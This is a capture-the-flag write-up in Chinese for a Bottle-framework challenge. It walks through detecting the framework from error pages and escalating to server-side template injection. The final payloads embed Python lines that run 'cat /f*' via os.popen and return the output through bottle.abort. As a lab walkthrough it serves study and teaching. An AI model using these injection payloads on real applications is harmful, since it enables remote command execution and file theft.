Problem: [GHCTF 2025]Message in a Bottle
先判断是什么模块
{{7*7}} {{7*'7'}}
这些都没出现49 7777777
考虑是否过滤{{}}
改为{% print(7*7) %}
{% print(7*'7') %}
依旧没能出现我们想要的,{}可能被过滤了
我们无法使用正常的输入让它返回我们想要的框架信息
我们看看请求头有没有信息发现依旧没有
但是正常的输入不行,报错的我们却可以影响
那我们尝试看看报错的信息
随便访问一个
http://node1.anna.nssctf.cn:28313/submit/text.txt
后缀随便改,我们要报错信息

报错的HTML结构框架:
Flask:蓝色调试页,显示完整堆栈
Django:黄色调试页,显示详细设置
Bottle:仅基础HTML+少量CSS(如您提供的页面)
这样看来我们挺符合Bottle页面的
再查看源码

错误信息<pre>Not found: '/submit/text.txt'</pre>
路径引用格式 '...'(单引号HTML实体)是Bottle的默认风格
那这就是一个Bottle的注入

<div> % if True: <span>content</span> % end </div>
输入后
留言板展现成功
我们成功注入了
运行的是if 后面的函数
我们只要更换这里就行了,加个%直接当成py运行
<div> % import os % flag_data = os.popen("cat /f*").read() <span>content</span> <!-- % print(flag_data) --> </div>
发现输出的还content,改成这个
% print( )
结果依旧没变,说明flag数据输出到我们前端可能经过处理,我们看不见,可能读取页面格式也不同
那我们只能强制中断请求,返回HTTP 200状态码,并将命令结果作为响应体返回给我们, import('bottle').abort(200, flag_data)
这样的数据会跳转到错误页面,展现出来
<div> % import os % flag_data = os.popen("cat /f*").read() % __import__('bottle').abort(200, flag_data) <span>content</span> </div>

